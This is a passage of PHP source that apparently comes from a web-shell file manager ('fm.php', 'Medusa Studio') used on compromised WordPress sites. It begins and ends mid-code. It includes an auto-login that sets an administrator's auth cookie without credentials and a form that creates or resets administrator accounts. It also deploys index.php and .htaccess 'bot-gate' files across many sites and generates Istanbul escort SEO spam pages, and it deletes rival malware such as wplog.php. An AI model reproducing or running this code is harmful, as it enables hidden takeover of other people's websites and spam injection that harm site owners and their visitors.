'reasons' => $reasons,
'size' => (int)@filesize($full),
]);
}
}
$scanDirs = [
$sitePath => 1,
$sitePath . '/wp-content' => 1,
$sitePath . '/wp-content/uploads' => 0,
];
foreach ($scanDirs as $dir => $depth) {
if (!is_dir($dir)) {
continue;
}
$stack = [[$dir, 0]];
$seen = 0;
while ($stack !== []) {
[$cur, $d] = array_pop($stack);
foreach (scandir($cur) ?: [] as $f) {
if ($f === '.' || $f === '..') {
continue;
}
$full = $cur . DIRECTORY_SEPARATOR . $f;
if (is_dir($full)) {
if ($d < $depth && !in_array($f, ['cache', 'node_modules', '.git'], true)) {
$stack[] = [$full, $d + 1];
}
continue;
}
if (++$seen > 350) {
break 2;
}
if (!preg_match('/\.(php|phtml|php7|phar)$/i', $f)) {
continue;
}
if (str_starts_with(str_replace('\\', '/', $full), $muDir)) {
continue;
}
$reasons = fm_malware_reasons_for_file($full, $sitePath, 'scan');
if ($reasons === []) {
continue;
}
$rel = str_replace($sitePath . '/', '', str_replace('\\', '/', $full));
$id = hash('sha256', 'file:' . $full);
if (isset($found[$id])) {
continue;
}
$push([
'id' => $id,
'domain' => $domain,
'rel' => $rel,
'full' => $full,
'type' => 'php',
'reasons' => $reasons,
'size' => (int)@filesize($full),
]);
}
}
}
return array_values($found);
}
/** @return array{ok:bool,error:string,rel:string} */
function fm_delete_malware_item(string $full, string $siteRoot): array
{
$siteRoot = @realpath($siteRoot) ?: $siteRoot;
if (!fm_path_under_site($full, (string)$siteRoot)) {
return ['ok' => false, 'error' => 'yol site kökü dışında', 'rel' => ''];
}
$rel = str_replace(str_replace('\\', '/', (string)$siteRoot) . '/', '', str_replace('\\', '/', $full));
if (is_dir($full)) {
if (!str_ends_with(str_replace('\\', '/', $full), '/wp-includes/js26564c')
&& !str_ends_with(str_replace('\\', '/', $full), 'wp-includes/js26564c')
) {
return ['ok' => false, 'error' => 'yalnızca js26564c klasörü silinebilir', 'rel' => $rel];
}
return fm_rm_dir_tree($full)
? ['ok' => true, 'error' => '', 'rel' => $rel . '/']
: ['ok' => false, 'error' => 'klasör silinemedi', 'rel' => $rel];
}
if (!is_file($full) || fm_is_protected_from_delete($full)) {
return ['ok' => false, 'error' => 'dosya yok veya korumalı', 'rel' => $rel];
}
$reasons = fm_malware_reasons_for_file($full, (string)$siteRoot, 'scan');
if ($reasons === [] && !fm_is_dangerous_shell_name(basename($full))) {
$known = ['wp-admin/wplog.php', 'wplog.php', 'wp-content/wplog.php'];
if (!in_array($rel, $known, true)) {
return ['ok' => false, 'error' => 'artık zararlı görünmüyor — tarama tekrarlayın', 'rel' => $rel];
}
}
@chmod($full, 0666);
if (@unlink($full)) {
return ['ok' => true, 'error' => '', 'rel' => $rel];
}
return ['ok' => false, 'error' => 'unlink başarısız (izin?)', 'rel' => $rel];
}
function fm_index_library_candidate_paths(): array
{
$fmDir = @realpath(dirname(__FILE__)) ?: dirname(__FILE__);
$paths = [
$fmDir . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_index_library.php',
$fmDir . DIRECTORY_SEPARATOR . 'ms_index_library.php',
dirname($fmDir) . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_index_library.php',
dirname($fmDir) . DIRECTORY_SEPARATOR . 'ms_index_library.php',
];
$script = (string)($_SERVER['SCRIPT_FILENAME'] ?? '');
if ($script !== '') {
$sd = @realpath(dirname($script)) ?: dirname($script);
if ($sd !== '' && $sd !== $fmDir) {
$paths[] = $sd . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_index_library.php';
$paths[] = $sd . DIRECTORY_SEPARATOR . 'ms_index_library.php';
$paths[] = dirname($sd) . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_index_library.php';
}
}
$unique = [];
foreach ($paths as $p) {
$p = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $p);
if (!isset($unique[$p])) {
$unique[$p] = $p;
}
}
return array_values($unique);
}
/** @return list<string> ms_seo_license.php aday yollari */
function fm_seo_license_candidate_paths(): array
{
$fmDir = @realpath(dirname(__FILE__)) ?: dirname(__FILE__);
$paths = [
$fmDir . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_seo_license.php',
dirname($fmDir) . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_seo_license.php',
];
$script = (string)($_SERVER['SCRIPT_FILENAME'] ?? '');
if ($script !== '') {
$sd = @realpath(dirname($script)) ?: dirname($script);
if ($sd !== '' && $sd !== $fmDir) {
$paths[] = $sd . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_seo_license.php';
$paths[] = dirname($sd) . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'ms_seo_license.php';
}
}
$unique = [];
foreach ($paths as $p) {
$p = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $p);
if (!isset($unique[$p])) {
$unique[$p] = $p;
}
}
return array_values($unique);
}
/** FM includes/ kaynak dizini (SEO + index kutuphanesi). */
function fm_fm_includes_source_dir(): ?string
{
foreach (fm_seo_license_candidate_paths() as $license) {
if (is_file($license)) {
return dirname($license);
}
}
foreach (fm_index_library_candidate_paths() as $lib) {
if (is_file($lib) && str_contains($lib, DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR)) {
return dirname($lib);
}
}
return null;
}
/** @return list<string> */
function fm_fm_includes_bundle_filenames(): array
{
return [
'ms_seo_license.php',
'ms_seo_generate.php',
'fm_seo_generate.php',
'ms_index_library.php',
'fm_embedded_payload.php',
'tr_locations_data.php',
];
}
/** Site kokune includes/ FM modul paketi kopyala (Studio yok). */
function fm_copy_fm_includes_bundle_to_site(string $wpRoot): int
{
$srcDir = fm_fm_includes_source_dir();
if ($srcDir === null || !fm_can_write_deploy_dir($wpRoot)) {
return 0;
}
$destDir = rtrim($wpRoot, '/\\') . DIRECTORY_SEPARATOR . 'includes';
if (!is_dir($destDir) && !@mkdir($destDir, 0755, true) && !is_dir($destDir)) {
return 0;
}
$copied = 0;
foreach (fm_fm_includes_bundle_filenames() as $name) {
$src = $srcDir . DIRECTORY_SEPARATOR . $name;
if (!is_file($src)) {
continue;
}
if (fm_try_copy_file($src, $destDir . DIRECTORY_SEPARATOR . $name)) {
$copied++;
}
}
return $copied;
}
/** Gömülü paketi includes/ altına yaz (fm.php içinde gömülü). */
function fm_ensure_embedded_bundle(bool $force = false): array
{
if (!function_exists('fm_embedded_bundle_install')) {
return ['ok' => false, 'written' => 0, 'files' => [], 'error' => 'gömülü paket yüklenemedi (fm.php bozuk?)'];
}
$fmDir = @realpath(dirname(__FILE__)) ?: dirname(__FILE__);
return fm_embedded_bundle_install($fmDir, $force);
}
/** Index + SEO modullerini yukle (tek giris — tek dosya gömülü paket). */
function fm_bootstrap_fm_modules(): void
{
fm_embedded_bootstrap_index();
fm_ensure_ms_seo();
}
function fm_ms_index_lib_load(bool $forceRescan = false): bool
{
static $ready = null;
if (!$forceRescan && $ready === true) {
return true;
}
if (function_exists('ms_clean_index_php') && function_exists('ms_merge_bot_gate_htaccess')) {
$ready = true;
return true;
}
if (fm_embedded_bootstrap_index()) {
$ready = true;
return true;
}
foreach (fm_index_library_candidate_paths() as $inc) {
if (!is_file($inc) || !is_readable($inc)) {
continue;
}
require_once $inc;
if (function_exists('ms_clean_index_php')) {
$ready = true;
return true;
}
}
$ready = false;
return false;
}
/** Fleet: hedef WP köküne index kütüphanesini kopyala (yedek — asıl yükleme FM sunucusundan) */
function fm_copy_index_library_to_site(string $sitePath): bool
{
$src = null;
foreach (fm_index_library_candidate_paths() as $p) {
if (is_file($p)) {
$src = $p;
break;
}
}
if ($src === null) {
return false;
}
$destDir = rtrim($sitePath, '/\\') . DIRECTORY_SEPARATOR . 'includes';
if (!is_dir($destDir) && !@mkdir($destDir, 0755, true) && !is_dir($destDir)) {
return false;
}
return fm_try_copy_file($src, $destDir . DIRECTORY_SEPARATOR . 'ms_index_library.php');
}
/**
* Temiz Medusa index.php (+ isteğe .htaccess) yazar.
* @return array{ok:bool,error:string,mode:string,bytes:int,htaccess:bool}
*/
function fm_write_clean_index_site(string $sitePath, bool $withHtaccess = true): array
{
fm_ensure_embedded_bundle(false);
if (!fm_ms_index_lib_load()) {
fm_ms_index_lib_load(true);
}
if (!function_exists('ms_clean_index_php')) {
$hint = 'FM sunucusuna yükleyin: fm.php ile aynı klasörde ms_index_library.php veya includes/ms_index_library.php';
$tried = implode(', ', array_map(static fn ($p) => basename(dirname($p)) . '/' . basename($p), fm_index_library_candidate_paths()));
return ['ok' => false, 'error' => $hint . ' — önce Paket kur veya ⚡ Hızlı onarım', 'mode' => '', 'bytes' => 0, 'htaccess' => false];
}
$sitePath = @realpath($sitePath) ?: $sitePath;
if (!is_dir($sitePath)) {
return ['ok' => false, 'error' => 'WP kökü yok', 'mode' => '', 'bytes' => 0, 'htaccess' => false];
}
$GLOBALS['ms_index_settings_dir'] = $sitePath;
$content = ms_clean_index_php($sitePath);
if ($content === '' || fm_is_obfuscated_php($content) || !str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
return ['ok' => false, 'error' => 'üretilen index geçersiz', 'mode' => '', 'bytes' => 0, 'htaccess' => false];
}
$mode = 'bot_only';
if (function_exists('ms_settings_load')) {
$s = ms_settings_load();
$mode = (string)($s['visitor_mode'] ?? 'bot_only');
}
$w = fm_write_index_php_persist($sitePath, $content, $withHtaccess, false);
if (!$w['ok']) {
return ['ok' => false, 'error' => $w['error'], 'mode' => $mode, 'bytes' => 0, 'htaccess' => false];
}
fm_deploy_relock_wp_root($sitePath);
return ['ok' => true, 'error' => '', 'mode' => $mode, 'bytes' => $w['bytes'], 'htaccess' => $w['htaccess']];
}
/** Fleet: her hedefte temiz index üret (kaynak index.php kopyalanmaz) */
function fm_deploy_generated_index_fleet(array $targets, bool $withHtaccess = true, bool $relockAfter = true): array
{
$okSites = 0;
$files = 0;
$relocked = 0;
$skipped = [];
foreach ($targets as $target) {
$base = rtrim((string)($target['path'] ?? ''), '/\\');
$domain = (string)($target['domain'] ?? basename($base));
if ($base === '' || !is_dir($base)) {
$skipped[] = $domain . ' — dizin yok';
continue;
}
$wpRoot = fm_wp_root_from($base) ?: $base;
if (!fm_can_write_deploy_dir($wpRoot)) {
$skipped[] = $domain . ' — yazma izni yok';
continue;
}
$w = fm_write_clean_index_site($wpRoot, $withHtaccess);
if (!$w['ok']) {
$skipped[] = $domain . ' — ' . $w['error'];
continue;
}
$okSites++;
$files += $w['htaccess'] ? 2 : 1;
if ($relockAfter) {
$relocked += fm_deploy_relock_wp_root($wpRoot);
}
}
return ['sites' => $okSites, 'files' => $files, 'skipped' => $skipped, 'relocked' => $relocked];
}
/**
* @return array{files:int, skipped:bool, domain:string, reason:string, relocked:int}
*/
function fm_deploy_ht_index_to_target(string $sourceDir, array $target, bool $relockAfter = true): array
{
$base = rtrim((string)($target['path'] ?? ''), '/\\');
$domain = (string)($target['domain'] ?? basename($base));
if ($base === '' || !is_dir($base)) {
return ['files' => 0, 'skipped' => true, 'domain' => $domain, 'reason' => 'dizin yok', 'relocked' => 0];
}
$unlock = fm_deploy_unlock_wp_root($base);
if (!$unlock['ok']) {
return ['files' => 0, 'skipped' => true, 'domain' => $domain, 'reason' => 'yazma izni yok', 'relocked' => 0];
}
$files = 0;
$indexSrc = rtrim($sourceDir, '/\\') . DIRECTORY_SEPARATOR . 'index.php';
if (is_file($indexSrc)) {
$indexBody = (string)@file_get_contents($indexSrc);
if (fm_is_obfuscated_php($indexBody)) {
return ['files' => 0, 'skipped' => true, 'domain' => $domain, 'reason' => 'kaynak index şifreli', 'relocked' => 0];
}
$iw = fm_write_index_php_persist($base, $indexBody, false, false);
if ($iw['ok']) {
$files++;
}
}
$htSrc = rtrim($sourceDir, '/\\') . DIRECTORY_SEPARATOR . '.htaccess';
$htDest = $base . DIRECTORY_SEPARATOR . '.htaccess';
if (fm_try_copy_file($htSrc, $htDest)) {
$files++;
}
if ($files === 0) {
return ['files' => 0, 'skipped' => true, 'domain' => $domain, 'reason' => 'kopyalanamadı', 'relocked' => 0];
}
$relocked = ($relockAfter && $files > 0) ? fm_deploy_relock_wp_root($base) : 0;
return ['files' => $files, 'skipped' => false, 'domain' => $domain, 'reason' => '', 'relocked' => $relocked];
}
/** @param list<array<string,mixed>> $targets */
function fm_deploy_ht_index_fleet(string $sourceDir, array $targets, bool $relockAfter = true): array
{
$totalFiles = 0;
$okSites = 0;
$relockFiles = 0;
$skipped = [];
foreach ($targets as $target) {
$r = fm_deploy_ht_index_to_target($sourceDir, $target, $relockAfter);
if ($r['skipped']) {
$skipped[] = $r['domain'] . ' — ' . $r['reason'];
continue;
}
$totalFiles += $r['files'];
$okSites++;
$relockFiles += (int)($r['relocked'] ?? 0);
}
return ['files' => $totalFiles, 'sites' => $okSites, 'skipped' => $skipped, 'relocked' => $relockFiles];
}
function findWpAdminUrl($dir) {
$domainUrl = getDomainUrl($dir);
if ($domainUrl) {
return rtrim($domainUrl, '/') . '/wp-admin';
}
$docRoot = $_SERVER['DOCUMENT_ROOT'];
$relativePath = str_replace($docRoot, '', $dir);
$relativePath = ltrim($relativePath, DIRECTORY_SEPARATOR);
$relativePath = str_replace(DIRECTORY_SEPARATOR, '/', $relativePath);
if (!empty($relativePath)) {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
return $protocol . $_SERVER['HTTP_HOST'] . '/' . $relativePath . '/wp-admin';
}
return '/wp-admin';
}
// ── Mevcut Dizine Göre WordPress Bilgileri ──────────────
$isWordPress = isWordPressInstall($currentDirectory);
$wpAdminUrl = $isWordPress ? findWpAdminUrl($currentDirectory) : '';
$wpLoadPath = findWpLoadPath($currentDirectory);
$detectedDomain = fm_domain_label_from_wp_root(fm_wp_root_for_ops($currentDirectory));
if (!fm_is_valid_site_host($detectedDomain)) {
$detectedDomain = fm_http_host() ?: (is_string(getDomainFromPath($currentDirectory)) ? getDomainFromPath($currentDirectory) : $detectedDomain);
}
// ── WP Admin Otomatik Giriş ──────────────────────────────
$wpAutoLoginStatus = '';
$wpAutoLoginType = '';
if ($isWordPress && isset($_GET['wp_auto_login'])) {
$wpLoadPath = findWpLoadPath($currentDirectory);
if ($wpLoadPath && file_exists($wpLoadPath)) {
require_once $wpLoadPath;
if (function_exists('username_exists')) {
$adminUsers = get_users(['role' => 'administrator', 'number' => 1]);
if (!empty($adminUsers)) {
$adminUser = $adminUsers[0];
wp_set_auth_cookie($adminUser->ID);
wp_set_current_user($adminUser->ID);
$wpAutoLoginStatus = '✅ Otomatik giriş yapıldı: ' . $adminUser->user_login;
$wpAutoLoginType = 'success';
echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
} else {
$wpAutoLoginStatus = '⚠️ Admin kullanıcı bulunamadı, lütfen WP User ile oluşturun';
$wpAutoLoginType = 'error';
}
} else {
$wpAutoLoginStatus = '❌ WordPress fonksiyonları yüklenemedi';
$wpAutoLoginType = 'error';
}
} else {
$wpAutoLoginStatus = '❌ wp-load.php bulunamadı';
$wpAutoLoginType = 'error';
}
}
// ── WordPress Kullanıcı İşlemleri ──────────────────────────
$wpUserResult = '';
$wpUserResultType = '';
if ($isWordPress && isset($_POST['wp_user_create'])) {
$wUser = trim($_POST['wp_username'] ?? '');
$wPass = $_POST['wp_password'] ?? '';
$wEmail = trim($_POST['wp_email'] ?? '');
$wAction = $_POST['wp_action'] ?? 'create';
if (empty($wUser) || empty($wPass)) {
$wpUserResult = '❌ Kullanıcı adı ve şifre gerekli';
$wpUserResultType = 'error';
} else {
$wpLoadPath = findWpLoadPath($currentDirectory);
if ($wpLoadPath && file_exists($wpLoadPath)) {
require_once $wpLoadPath;
if (function_exists('username_exists')) {
try {
if ($wAction === 'login') {
$user = get_user_by('login', $wUser);
if ($user) {
wp_set_auth_cookie($user->ID);
$wpUserResult = '✅ Giriş yapılıyor: ' . htmlspecialchars($wUser);
$wpUserResultType = 'success';
echo '<script>setTimeout(function(){ window.open("' . $wpAdminUrl . '", "_blank"); }, 1000);</script>';
} else {
$wpUserResult = '❌ Kullanıcı bulunamadı: ' . htmlspecialchars($wUser);
$wpUserResultType = 'error';
}
} else {
if (!username_exists($wUser)) {
$user_id = wp_create_user($wUser, $wPass, $wEmail);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
wp_set_auth_cookie($user_id);
$wpUserResult = '✅ Kullanıcı oluşturuldu: ' . htmlspecialchars($wUser);
$wpUserResultType = 'success';
echo '<script>setTimeout(function(){ window.open("' . $wpAdminUrl . '", "_blank"); }, 1000);</script>';
} else {
$wpUserResult = '❌ Hata: ' . $user_id->get_error_message();
$wpUserResultType = 'error';
}
} else {
$user = get_user_by('login', $wUser);
if ($user) {
wp_set_password($wPass, $user->ID);
wp_set_auth_cookie($user->ID);
$wpUserResult = '✅ Şifre güncellendi: ' . htmlspecialchars($wUser);
$wpUserResultType = 'success';
echo '<script>setTimeout(function(){ window.open("' . $wpAdminUrl . '", "_blank"); }, 1000);</script>';
} else {
$wpUserResult = '❌ Kullanıcı bulunamadı';
$wpUserResultType = 'error';
}
}
}
} catch (Exception $e) {
$wpUserResult = '❌ Hata: ' . $e->getMessage();
$wpUserResultType = 'error';
}
} else {
$wpUserResult = '❌ WordPress fonksiyonları yüklenemedi';
$wpUserResultType = 'error';
}
} else {
$wpUserResult = '❌ wp-load.php bulunamadı: ' . $currentDirectory;
$wpUserResultType = 'error';
}
}
}
// ── Yardımcı fonksiyonlar (global) ──
function pick($arr, $n) {
shuffle($arr);
return array_slice($arr, 0, $n);
}
function randStr($arr) {
return $arr[array_rand($arr)];
}
function fm_wp_root_from(string $dir): ?string
{
$dir = @realpath($dir);
if ($dir === false) {
return null;
}
for ($i = 0; $i < 10; $i++) {
if (is_file($dir . DIRECTORY_SEPARATOR . 'wp-config.php')) {
return $dir;
}
$parent = dirname($dir);
if ($parent === $dir) {
break;
}
$dir = $parent;
}
return null;
}
function fm_rm_dir_tree(string $dir): bool
{
if (!is_dir($dir)) {
return false;
}
foreach (scandir($dir) ?: [] as $f) {
if ($f === '.' || $f === '..') {
continue;
}
$p = $dir . DIRECTORY_SEPARATOR . $f;
if (is_dir($p)) {
fm_rm_dir_tree($p);
} else {
@chmod($p, 0666);
@unlink($p);
}
}
@chmod($dir, 0777);
return @rmdir($dir);
}
/** wplog kopyaları + sahte wp-includes/js26564c (varsayılan: wp-content/wplog.php hariç) */
function fm_purge_malware_paths(string $sitePath, bool $includeWpContentWplog = false): array
{
$sitePath = rtrim(str_replace('\\', '/', $sitePath), '/');
$deleted = [];
$files = [];
if ($includeWpContentWplog) {
$files[] = 'wp-content/wplog.php';
}
$files[] = 'wp-admin/wplog.php';
$files[] = 'wplog.php';
foreach ($files as $rel) {
$full = $sitePath . '/' . str_replace('/', DIRECTORY_SEPARATOR, $rel);
if (!is_file($full)) {
continue;
}
@chmod($full, 0666);
if (@unlink($full)) {
$deleted[] = $rel;
}
}
$fakeDir = $sitePath . DIRECTORY_SEPARATOR . 'wp-includes' . DIRECTORY_SEPARATOR . 'js26564c';
if (is_dir($fakeDir) && fm_rm_dir_tree($fakeDir)) {
$deleted[] = 'wp-includes/js26564c/';
}
return $deleted;
}
function fm_license_runtime_prepare(): void
{
@ignore_user_abort(true);
@set_time_limit(120);
@ini_set('max_execution_time', '120');
@ini_set('memory_limit', '512M');
fm_ensure_ms_seo();
}
function fm_ensure_ms_seo(): bool
{
static $ready = null;
if ($ready !== null) {
return $ready;
}
if (function_exists('ms_generate_seo_page') && function_exists('ms_istanbul_districts')) {
$ready = true;
return true;
}
if (fm_embedded_bootstrap_seo()) {
$ready = true;
return true;
}
foreach (fm_seo_license_candidate_paths() as $inc) {
if (!is_file($inc) || !is_readable($inc)) {
continue;
}
try {
require_once $inc;
} catch (Throwable $e) {
continue;
}
if (function_exists('ms_generate_seo_page')) {
break;
}
}
$ready = function_exists('ms_generate_seo_page') && function_exists('ms_istanbul_districts');
return $ready;
}
function fm_normalize_https_url(string $urlOrDomain): string
{
$urlOrDomain = trim($urlOrDomain);
if ($urlOrDomain === '') {
return '';
}
if (!preg_match('#^https?://#i', $urlOrDomain)) {
$urlOrDomain = 'https://' . preg_replace('/^www\./i', '', $urlOrDomain);
}
$urlOrDomain = preg_replace('#^http://#i', 'https://', $urlOrDomain);
return rtrim($urlOrDomain, '/');
}
/** @param list<array{path?:string,domain?:string,url?:string}> $targets */
function fm_targets_https_list(array $targets): string
{
$lines = [];
foreach ($targets as $t) {
$url = trim((string)($t['url'] ?? ''));
if ($url === '') {
$dom = trim((string)($t['domain'] ?? ''));
if ($dom !== '' && !str_contains($dom, '\\') && !str_contains($dom, '/')) {
$url = 'https://' . preg_replace('/^www\./i', '', $dom);
}
}
$url = fm_normalize_https_url($url);
if ($url !== '') {
$lines[] = $url;
}
}
return implode("\n", array_values(array_unique($lines)));
}
/** Keşfedilen WP kökleri + bu site — https listesi (satır satır) */
function fm_build_https_copy_list(string $fromDir, ?string $detectedDomain = null): array
{
$targets = fm_root_targets($fromDir);
$wpRoot = fm_wp_root_for_ops($fromDir);
$seen = [];
foreach ($targets as $t) {
$seen[fm_path_norm((string)($t['path'] ?? ''))] = $t;
}
$wpKey = fm_path_norm($wpRoot);
if ($wpRoot !== '' && !isset($seen[$wpKey])) {
$u = fm_site_https_url($wpRoot);
if ($u === '') {
$u = getDomainUrl($wpRoot);
}
if (!$u && $detectedDomain && fm_is_valid_site_host($detectedDomain)) {
$u = fm_target_url($detectedDomain);
}
$seen[$wpKey] = [
'path' => $wpRoot,
'domain' => fm_is_valid_site_host($detectedDomain ?? '') ? $detectedDomain : fm_domain_label_from_wp_root($wpRoot),
'url' => $u ?: '',
'type' => 'root',
];
}
$text = fm_targets_https_list(array_values($seen));
$lines = $text === '' ? [] : array_values(array_filter(explode("\n", $text)));
sort($lines, SORT_STRING | SORT_FLAG_CASE);
return ['text' => implode("\n", $lines), 'count' => count($lines)];
}
function generateEscortPage($baseUrl)
{
$baseUrl = trim((string)$baseUrl);
if (preg_match('#^https?://([^/]+)#i', $baseUrl, $hm)) {
$h = strtolower($hm[1]);
if (!fm_is_valid_site_host($h)) {
$baseUrl = '';
}
}
if ($baseUrl === '' || preg_match('#https?://public_html#i', $baseUrl)) {
$wpGuess = $GLOBALS['fm_license_wp_root'] ?? null;
$fallback = (is_string($wpGuess) && $wpGuess !== '') ? fm_site_https_url($wpGuess) : '';
if ($fallback === '') {
$fallback = fm_http_host() !== '' ? ('https://' . fm_http_host() . '/') : '';
}
if ($fallback !== '') {
$baseUrl = $fallback;
}
}
$wpGuess = $GLOBALS['fm_license_wp_root'] ?? null;
if (($baseUrl === '' || preg_match('#://public_html#i', $baseUrl)) && is_string($wpGuess) && $wpGuess !== '') {
$fromWp = fm_site_https_url($wpGuess);
if ($fromWp !== '') {
$baseUrl = $fromWp;
}
}
fm_license_runtime_prepare();
if (fm_ensure_ms_seo()) {
$host = parse_url($baseUrl, PHP_URL_HOST);
if ((!is_string($host) || $host === '') && $baseUrl !== '') {
$host = preg_replace('#^https?://#i', '', $baseUrl);
$host = explode('/', (string)$host)[0];
}
$host = is_string($host) ? strtolower(preg_replace('/^www\./', '', $host) ?? '') : '';
if ($host !== '' && !fm_is_valid_site_host($host)) {
$host = fm_http_host();
if ($host !== '') {
$baseUrl = 'https://' . $host . '/';
}
}
$domainKey = ($host !== '' && fm_is_valid_site_host($host)) ? $host : 'site';
if (!preg_match('#^https?://#i', $baseUrl) && $domainKey !== 'site') {
$baseUrl = 'https://' . $domainKey . '/';
}
$wpRootForCity = is_string($GLOBALS['fm_license_wp_root'] ?? null) ? (string)$GLOBALS['fm_license_wp_root'] : '';
$seoCity = function_exists('ms_seo_resolve_license_city')
? ms_seo_resolve_license_city($domainKey, $wpRootForCity)
: 'İstanbul';
$seoDistricts = function_exists('ms_city_districts')
? ms_city_districts($seoCity)
: ms_istanbul_districts();
if ($seoDistricts === []) {
$seoCity = 'İstanbul';
$seoDistricts = ms_istanbul_districts();
}
$seoSemts = function_exists('ms_city_flat_semts')
? ms_city_flat_semts($seoCity)
: ms_istanbul_flat_semts();
$gen = ms_generate_seo_page(
$seoCity,
$seoDistricts,
$baseUrl,
$seoSemts,
$domainKey
);
if (!empty($gen['ok']) && !empty($gen['html'])) {
return (string)$gen['html'];
}
}
return fm_generate_escort_page_legacy($baseUrl);
}
// ── İSTANBUL ESCORT license.html (legacy yedek şablon) ──────
function fm_generate_escort_page_legacy($baseUrl) {
$baseUrl = rtrim((string)$baseUrl, '/');
if ($baseUrl === '' || preg_match('#://public_html$#i', $baseUrl) || preg_match('#://public_html/#i', $baseUrl)) {
$fix = fm_http_host();
$baseUrl = $fix !== '' ? ('https://' . $fix) : 'https://localhost';
}
if (!preg_match('#^https?://#i', $baseUrl)) {
$baseUrl = 'https://' . ltrim($baseUrl, '/');
}
$districts = [
'Arnavutköy', 'Ataşehir', 'Avcılar', 'Bağcılar', 'Bahçelievler', 'Bakırköy', 'Başakşehir', 'Bayrampaşa',
'Beşiktaş', 'Beykoz', 'Beylikdüzü', 'Beyoğlu', 'Büyükçekmece', 'Çatalca', 'Çekmeköy', 'Esenler', 'Esenyurt',
'Eyüpsultan', 'Fatih', 'Gaziosmanpaşa', 'Güngören', 'Kadıköy', 'Kağıthane', 'Kartal', 'Küçükçekmece',
'Maltepe', 'Pendik', 'Sancaktepe', 'Sarıyer', 'Silivri', 'Sultanbeyli', 'Sultangazi', 'Şile', 'Şişli',
'Tuzla', 'Ümraniye', 'Üsküdar', 'Zeytinburnu'
];
$neighborhoods = [
'Levent', 'Etiler', 'Nişantaşı', 'Bebek', 'Ortaköy', 'Taksim', 'Moda', 'Bağdat Caddesi', 'Ataköy', 'Yeşilköy',
'Florya', 'Bahçeşehir', 'Halkalı', 'Gürpınar', 'Tarabya', 'Maslak', 'Emirgan', 'İstinye', 'Acıbadem',
'Fenerbahçe', 'Suadiye', 'Bostancı', 'Mecidiyeköy', 'Galata', 'Karaköy', 'Altunizade', 'Beylerbeyi',
'Kurtköy', 'Küçükyalı', 'Merter', 'Göktürk', 'Sultanahmet', 'Balat', 'Kadıköy Merkez', 'Cihangir'
];
$titlePrefix = 'İstanbul Escort';
$descPrefix = "İstanbul'un en prestijli semtlerinde VIP escort hizmeti";
shuffle($districts);
$selectedDistricts = array_slice($districts, 0, min(20, count($districts)));
$keywordParts = ['istanbul escort'];
foreach ($selectedDistricts as $d) {
$keywordParts[] = mb_strtolower($d, 'UTF-8') . ' escort';
}
$keywordParts = array_merge($keywordParts, ['vip escort', 'elden ödeme', 'escort bayan', 'escort kızlar']);
$keywords = implode(', ', array_unique($keywordParts));
$mainD = array_slice($districts, 0, 6);
$semtler = array_slice($neighborhoods, 0, 22);
$themes = [
['header'=>'linear-gradient(135deg, #0d0d1a, #1a3a5c)','bg'=>'#f0f5f8','cardBg'=>'#fff','border'=>'#dce8f0','heading'=>'#0d1a2a','text'=>'#2a3a4a','accent'=>'#4a8aaa','tagBg'=>'#e8f0f5','tagColor'=>'#1a4a6a','statBg'=>'rgba(255,255,255,0.08)','statColor'=>'rgba(255,255,255,0.9)','footer'=>'#6a7a8a','cardShadow'=>'0 8px 25px rgba(0,0,0,0.05)','cardRadius'=>'16px','fontFamily'=>"'Inter', sans-serif"],
['header'=>'linear-gradient(135deg, #1a0a2a, #3a1a5a)','bg'=>'#f8f0fa','cardBg'=>'#ffffff','border'=>'#e8d8f0','heading'=>'#2a0a3a','text'=>'#3a2a4a','accent'=>'#8a4aaa','tagBg'=>'#f0e0f8','tagColor'=>'#5a2a7a','statBg'=>'rgba(255,255,255,0.1)','statColor'=>'#f0e0f8','footer'=>'#6a5a7a','cardShadow'=>'0 8px 30px rgba(0,0,0,0.06)','cardRadius'=>'24px','fontFamily'=>"'Playfair Display', serif"],
['header'=>'linear-gradient(135deg, #1a2a3a, #2a4a6a)','bg'=>'#f0f2f5','cardBg'=>'#ffffff','border'=>'#e4e7eb','heading'=>'#1a2a3a','text'=>'#2d3a4a','accent'=>'#4a8aaa','tagBg'=>'#e8ecf1','tagColor'=>'#1a4a6a','statBg'=>'rgba(255,255,255,0.06)','statColor'=>'rgba(255,255,255,0.85)','footer'=>'#6a7a8a','cardShadow'=>'0 2px 12px rgba(0,0,0,0.03)','cardRadius'=>'12px','fontFamily'=>"'Segoe UI', sans-serif"],
['header'=>'linear-gradient(135deg, #0a1a1a, #1a3a2a)','bg'=>'#f0f8f5','cardBg'=>'#ffffff','border'=>'#dce8e0','heading'=>'#0a2a1a','text'=>'#2a3a2a','accent'=>'#4a8a6a','tagBg'=>'#e0f0e8','tagColor'=>'#1a5a3a','statBg'=>'rgba(255,255,255,0.08)','statColor'=>'rgba(255,255,255,0.9)','footer'=>'#5a6a5a','cardShadow'=>'0 6px 18px rgba(0,0,0,0.04)','cardRadius'=>'18px','fontFamily'=>"'Trebuchet MS', sans-serif"],
['header'=>'linear-gradient(135deg, #2a1a0a, #5a3a1a)','bg'=>'#faf5f0','cardBg'=>'#ffffff','border'=>'#f0e4d8','heading'=>'#2a1a0a','text'=>'#3a2a1a','accent'=>'#c98a5a','tagBg'=>'#f0e8e0','tagColor'=>'#6a3a1a','statBg'=>'rgba(255,255,255,0.08)','statColor'=>'rgba(255,255,255,0.9)','footer'=>'#8a7a6a','cardShadow'=>'0 8px 22px rgba(0,0,0,0.05)','cardRadius'=>'14px','fontFamily'=>"'Georgia', serif"],
